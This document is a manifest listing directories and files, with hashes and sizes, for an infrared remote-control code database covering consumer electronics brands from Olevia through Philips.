+F:4bb9abf51d4bba49adbb8b2470bfc1f2:3370:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir +D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1 +D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2 +F:3a9be5e778207c431c8b8428afaf06f5:512:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir +F:4c38de5749b9f7dc269d7f4b470491c0:133:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir +D:infrared/_CSV-IRDB_/One For All/Unknown_7720 +D:infrared/_CSV-IRDB_/One For All/Unknown_For +D:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All +D:infrared/_CSV-IRDB_/One For All/Unknown_Phillips +D:infrared/_CSV-IRDB_/One For All/Unknown_SAT +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341) +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300 +D:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910 +D:infrared/_CSV-IRDB_/One For All/Unknown_VCR +D:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d +D:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150 +D:infrared/_CSV-IRDB_/One For All/Unknown_urc7562 +D:infrared/_CSV-IRDB_/One For All/Unknown_urc7730 +F:1a5e266cb234ea630fb36274b538d775:3259:infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir +F:1fa3609df24f64eb3d0af4958e28a203:3635:infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir +F:980a3d2faa400ab38072282fb00008b7:7332:infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir +F:6235af25a6c2c8353eb0b152fd80c4ef:6004:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir +F:768d1ad92ef275c51f5b488d234b8575:3353:infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir +F:f27b88e2d9b3fa4aecf8fa5545ffaa62:3271:infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir +F:b4d26e10170e433c92946f0a6e5fe1f9:632:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir +F:8588ededb237960393a441242bf794bb:3055:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir +F:bff9b583db20c22711209d311ff11cf7:2570:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir +F:b2ad46312c3238d813567f9b18ab6739:2948:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir +F:defa1a7e42624dc90634aa23a961f907:3090:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir +F:e229214a307bdb41d091d454ba93647e:3159:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir +F:2be1adc07fd16295f6ecd0a864f9e334:3264:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir +F:4cd0ffbd45e18a362393f83bfd755941:2394:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir +F:5150aa21a9ae7caf35f1c89b7d6de3e6:4221:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir +F:217dc507b93ec239ae47f3638a388275:3807:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir +F:6922143d86da23429dccc4c16aee6ab1:3218:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir +F:7bcb7deb72e555bf289c595df77a3a2e:3358:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir +F:e4956c5acbbeb0fdfb097e58f6691a50:3452:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir +F:b9f6789004e6f3db2ce98ae9680c55ea:3662:infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir +F:235cdecbf94d13063cf092d2d9a67f80:3541:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir +F:77ea70808656910b71e952d43457281b:2971:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir +F:f9640ce9948e175972691f0d0f58a962:2972:infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir +F:ae53c2fb6ba8c5f8c65db056bf1c12de:3259:infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir +D:infrared/_CSV-IRDB_/Onida/Unknown_DFX +D:infrared/_CSV-IRDB_/Onida/Unknown_TVE +F:7445d163caee30e9499353f38acdaf61:4580:infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir +F:8e75be94f524fc1dc645d0bce4a9b679:2682:infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir +D:infrared/_CSV-IRDB_/Onkyo/Amplifier +D:infrared/_CSV-IRDB_/Onkyo/CD Player +D:infrared/_CSV-IRDB_/Onkyo/Cassette Tape +D:infrared/_CSV-IRDB_/Onkyo/DVD Player +D:infrared/_CSV-IRDB_/Onkyo/Laser Disc +D:infrared/_CSV-IRDB_/Onkyo/Receiver +D:infrared/_CSV-IRDB_/Onkyo/Tuner +D:infrared/_CSV-IRDB_/Onkyo/Unknown +D:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R +D:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50 +D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M +D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s +D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s +F:be0855172de0eaa9f5aacebab57cb211:321:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir +F:d91c806dc0c129261c72948740bf1726:7600:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir +F:583aaaa9f16be8ca9c4214aca1986fe5:2145:infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir +F:8c65b4ac02b63bfaa3d89f818552b03e:3356:infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir +F:e9ec20e06f46b704328941a3ade6e5fc:5774:infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir +F:5c097890a68f044800a35f9a63eae964:6058:infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir +F:4d7135e2b2e8c084b8eb58817b7db2d4:4398:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir +F:2cc1ad1ba8243dc85b21f3f11295a84a:898:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir +F:91912623e3547244693ff75cb156c551:3915:infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir +F:637fc7c3cc2131f4f1dffd1e3b33f567:135:infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir +F:8c75257c25cf38a2139ea261214bb346:3367:infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir +F:47ab27d0ec07b8343e0bbf54c56a64eb:2621:infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir +F:098faa168c5a73e5bc1b305b4590af03:25194:infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir +F:6429531e8da0f0e25d3d1266c747b1b5:2970:infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir +F:36d839c4c90b2d91dceabde4e131a503:5250:infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir +F:b2cf2a570ff64ee4f6627a41047a6c38:9973:infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir +F:8ea13a76b89ca25684a997c856272724:2898:infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir +F:142af6bf25481d290f95eca2037212da:2999:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir +F:d954fa2a80820fabc33f160e342dfa2a:2303:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir +F:a6ceec1d562a9d4126e2068fa348f560:3087:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir +F:c72831ba2ce4289bb972f4a4e7c8d60a:2675:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir +F:786cda15f3304b372b25d39654b5b83b:2017:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir +F:e22f94b7c803907555c4a0e109b1caaa:908:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir +F:5eb9f21c303c9a0a893f82a85da48fa3:428:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir +F:2d71c97c7df0c7d2c5a228eff101e31c:5146:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir +F:1882f6a4d5f0da1987720f9d0b3528cb:2194:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir +F:6642e231f777520e947d3b3e71aec9ac:3437:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir +F:611cb79c40ddbeaa10b8e101494078df:3846:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir +F:8cb0af1170959146910cf34f8f0e3d95:4687:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir +D:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer +D:infrared/_CSV-IRDB_/Onkyo Integra/Receiver +F:129fff285435bd915a9153ba529e8996:4684:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir +F:d0ca60e9bf7c2a847ac95bf8b791f5de:1073:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir +F:91d39769960defeb944ce16db0fc1899:1922:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir +D:infrared/_CSV-IRDB_/Optex/Unknown_ORT +F:d16c9c705e46e489109acb59bb61d5c9:3365:infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir +D:infrared/_CSV-IRDB_/PHAST/PLR-IR1 +F:e459756fbd467f77ba857115a4184094:12427:infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir +D:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro +F:4d5e7acd7339e18b953cab2b7418eaf9:4756:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir +D:infrared/_CSV-IRDB_/PS Audio/CD Player +F:5d1809cd79668e4f640e548a5fbfeb75:1947:infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir +D:infrared/_CSV-IRDB_/Pace/Unknown_DC551P +D:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N +D:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I +D:infrared/_CSV-IRDB_/Pace/Unknown_DS420 +D:infrared/_CSV-IRDB_/Pace/Unknown_DS620 +D:infrared/_CSV-IRDB_/Pace/Unknown_Digital +D:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10 +D:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS +D:infrared/_CSV-IRDB_/Pace/Unknown_RC-17 +D:infrared/_CSV-IRDB_/Pace/Unknown_RC-30 +D:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ +D:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin +D:infrared/_CSV-IRDB_/Pace/Unknown_xsat +F:c353407c5174b1111e5c3f8e2c10dfac:1052:infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir +F:5c47649181023c8c7d882c52e1cb0618:3653:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir +F:e5a310fd4322ed89b476cb434c703326:3648:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir +F:9d7cfeb2723ecc644abdd539803bbdf0:3051:infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir +F:baf23cd37beb16f8c646df99f70aa4d9:2961:infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir +F:502087b6fea44d15a526dcf9659e2e49:2940:infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir +F:48843da8bfb15cb02d9a8915615cb4c4:2759:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir +F:dcf62ea6a8e1d8c8d2520cc6d0b34311:5267:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir +F:1c2fa9d808209230898102eb819b1b98:2496:infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir +F:92214f27cf48b7a2910538aeac0afd65:3074:infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir +F:3ca3de9ef5cabf3e5506086a2b0112ae:3849:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir +F:92687f0780e94089154930502dfced13:4416:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir +F:fc5757bd43b0235f0fecc182cafda03e:3433:infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir +D:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell +F:746906cc20cde2c571ec4fe4bd41e159:3248:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir +D:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6 +F:846d19686c745f31d46f4478c8859e42:3360:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir +D:infrared/_CSV-IRDB_/Panasonic/DVD Player +D:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner +D:infrared/_CSV-IRDB_/Panasonic/Laser Disc +D:infrared/_CSV-IRDB_/Panasonic/Receiver +D:infrared/_CSV-IRDB_/Panasonic/TV +D:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC +D:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W +D:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W +D:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B +D:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_TV +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_cd +D:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928 +D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W +D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf +D:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249 +D:infrared/_CSV-IRDB_/Panasonic/VCR +F:d9f93097d936491ff9e893ee05b51cf1:604:infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir +F:b2b02674528092a8b16187002f1e13aa:1066:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir +F:87bb783b5f7a752ccb234e2a81e16e65:129:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir +F:e17c4232d04fafa5c59ae2b28754499e:337:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir +F:40798c8bdb6b42d96b028d1644d6242d:1859:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir +F:0d5cfa50b1bc1082944b97220f562581:3147:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir +F:7aba1e7c03ecfb16958df99d9c94a351:318:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir +F:0f278ed47402e63e979bf10b74227bc1:8719:infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir +F:d9072558713f6e6332c7408b4013ebfd:2241:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir +F:a1158bdd121a48880c0f1748b3f1ddc9:3552:infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir +F:cbae354ec0385fef1e9695363ab4d62b:679:infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir +F:5db471e318f5741379fdb68cfaf95d66:135:infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir +F:e4db5974f08594ce8f99d5a9b95bf01c:325:infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir +F:d6c3cdef9fece09c600313f6309a86d6:9040:infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir +F:7842f4cc257b79d6f2ac812e634b7948:1260:infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir +F:67a0395431e7bfe8b780e5054191ef64:1341:infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir +F:4ac9639ecb4408a974c94aa70918d881:2345:infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir +F:5b9b219c06f753a2a02ced1a9754b556:812:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir +F:2817e64594755537ce6bb92991ad0849:1105:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir +F:052cc5ea16a291178e43115e9da31d25:2693:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir +F:11860fa84ea92061545c1fa60b222f07:3650:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir +F:8dfc8ed237c32030a894073d3c97045e:2597:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir +F:f0f00d1b125ed7b06e2a5baf2fca0ac8:2503:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir +F:764ffee4db7cf684159e10f828e0a8b2:4671:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir +F:1e5d7248bad40f66c95eccfa65abd378:4201:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir +F:434d1243b955722ea3f6dc73e4b6d3e3:3076:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir +F:ac46eeb805ff22a35e11e23f8091d594:1880:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir +F:de397d7b18bf11bb2385503457e541e6:1566:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir +F:e02ce6a6c14980ab7c31e5bbc95c3195:3374:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir +F:4a0ee77427ea4e5c226dbe4d5194d150:1863:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir +F:4e83a1d516914889a2ff54da438303e0:2862:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir +F:871df6de92a80713f8b8e83c2d4b93ce:2400:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir +F:bba7c132cbeb3cca35d513ea2330f649:4704:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir +F:45cdd39dbb551582c769bafc89a475bc:1103:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir +F:80b3610e6a8dcd655e99ff97ce48a9a6:3533:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir +F:55ee1268c01bdb72a15eae24df1a3ebe:3522:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir +F:86842476ce3d7351faeb0c3041e3a5ee:3715:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir +F:6d480872430b60516e8273a4c6105357:2558:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir +F:a4399005c3c0c6b0f89f0ab02dcf56ec:1932:infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir +F:d0776268bdbd17345552ff333f54e873:3538:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir +F:2f1f27ad42a70537c58a739783ba6d56:3147:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir +F:de35e2c02ff5d723bdb8c1d65853dcbc:3957:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir +F:62fea2a9e5aa2a73bc8ef28d4ecb773b:1075:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir +F:11fc208236f3799a7ce03d4f6b5289fc:3641:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir +F:5ff425fec7f172d1a307640f6f4f0e28:1193:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir +F:cb4f646bd8d845df2e2fdad06bd56309:1761:infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir +F:3f4d15c207f361818f1136d822de4e17:399:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir +F:3e2996ed59c37c5abe8c0218fc79f933:3332:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir +F:32829fb6f4c224a2d8de8cb9d0bba92e:3146:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir +F:12c40be85e1a84fb21d0d2616308f243:3731:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir +F:b481d5fb6ceee1396ef0ec8595a9cdbc:5202:infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir +F:48a62583b35672cebe15db1446e910de:789:infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir +F:aab38ca73ebd98c09bc17e05e34c2b20:139:infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir +F:e11bed7f735957175128e5f10bd07b6e:1073:infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir +D:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838 +F:39f74f2ed88492cd1f0cf4b77c06f5f6:4467:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir +D:infrared/_CSV-IRDB_/Pansat/Unknown_2500a +D:infrared/_CSV-IRDB_/Pansat/Unknown_2700 +D:infrared/_CSV-IRDB_/Pansat/Unknown_2700a +F:c04d97a8dfc21c0fe36e266fe83978cc:2983:infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir +F:07953de1872bcdbe7afe97ab0e5163e5:3325:infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir +F:c5ca33c20cb74fb127ee8a17b9ba354f:4294:infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir +D:infrared/_CSV-IRDB_/Parasound/Receiver +D:infrared/_CSV-IRDB_/Parasound/Surround Processor +F:86e87426aafe5f8b759d39ba0bb2dea4:805:infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir +F:1c4a3701de401d79ab01a86ef91d37be:4597:infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir +F:1be40b53936fab0cf8582f03a3d8e900:5117:infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir +F:05ee0c8d499301800673b63eb6928a3d:2466:infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir +D:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005 +F:462b37cede0ee096721966af2c84b6d4:4676:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir +D:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111 +F:4469882db234c993c5ed35bbd1be53e6:2478:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir +D:infrared/_CSV-IRDB_/Philips/CD-R +D:infrared/_CSV-IRDB_/Philips/DSS +D:infrared/_CSV-IRDB_/Philips/DVD Player +D:infrared/_CSV-IRDB_/Philips/Digital Recorder +D:infrared/_CSV-IRDB_/Philips/Receiver +D:infrared/_CSV-IRDB_/Philips/TV +D:infrared/_CSV-IRDB_/Philips/Unknown_01 +D:infrared/_CSV-IRDB_/Philips/Unknown_101 +D:infrared/_CSV-IRDB_/Philips/Unknown_130A +D:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563 +D:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H +D:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D +D:infrared/_CSV-IRDB_/Philips/Unknown_5260 +D:infrared/_CSV-IRDB_/Philips/Unknown_5300 +D:infrared/_CSV-IRDB_/Philips/Unknown_5373 +D:infrared/_CSV-IRDB_/Philips/Unknown_8243 +D:infrared/_CSV-IRDB_/Philips/Unknown_95 +D:infrared/_CSV-IRDB_/Philips/Unknown_AV5609 +D:infrared/_CSV-IRDB_/Philips/Unknown_CD +D:infrared/_CSV-IRDB_/Philips/Unknown_CD720 +D:infrared/_CSV-IRDB_/Philips/Unknown_CD723 +D:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500 +D:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724 +D:infrared/_CSV-IRDB_/Philips/Unknown_DVD711 +D:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982 +D:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642 +D:infrared/_CSV-IRDB_/Philips/Unknown_FW2104 +D:infrared/_CSV-IRDB_/Philips/Unknown_LV2 +D:infrared/_CSV-IRDB_/Philips/Unknown_MULTI +D:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5 +D:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS +D:infrared/_CSV-IRDB_/Philips/Unknown_PM725S +D:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX +D:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC +D:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC-5 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P +D:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC2070 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC2582 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC7507 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC7843 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC7925 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC8244 +D:infrared/_CSV-IRDB_/Philips/Unknown_RC8861 +D:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011 +D:infrared/_CSV-IRDB_/Philips/Unknown_RD6834 +D:infrared/_CSV-IRDB_/Philips/Unknown_RT150 +D:infrared/_CSV-IRDB_/Philips/Unknown_RU120 +D:infrared/_CSV-IRDB_/Philips/Unknown_SBC +D:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520 +D:infrared/_CSV-IRDB_/Philips/Unknown_SF172 +D:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100 +D:infrared/_CSV-IRDB_/Philips/Unknown_SRU +D:infrared/_CSV-IRDB_/Philips/Unknown_STEREO +D:infrared/_CSV-IRDB_/Philips/Unknown_TIVO +D:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34 +D:infrared/_CSV-IRDB_/Philips/Unknown_TV +D:infrared/_CSV-IRDB_/Philips/Unknown_VCR +D:infrared/_CSV-IRDB_/Philips/Unknown_VR175 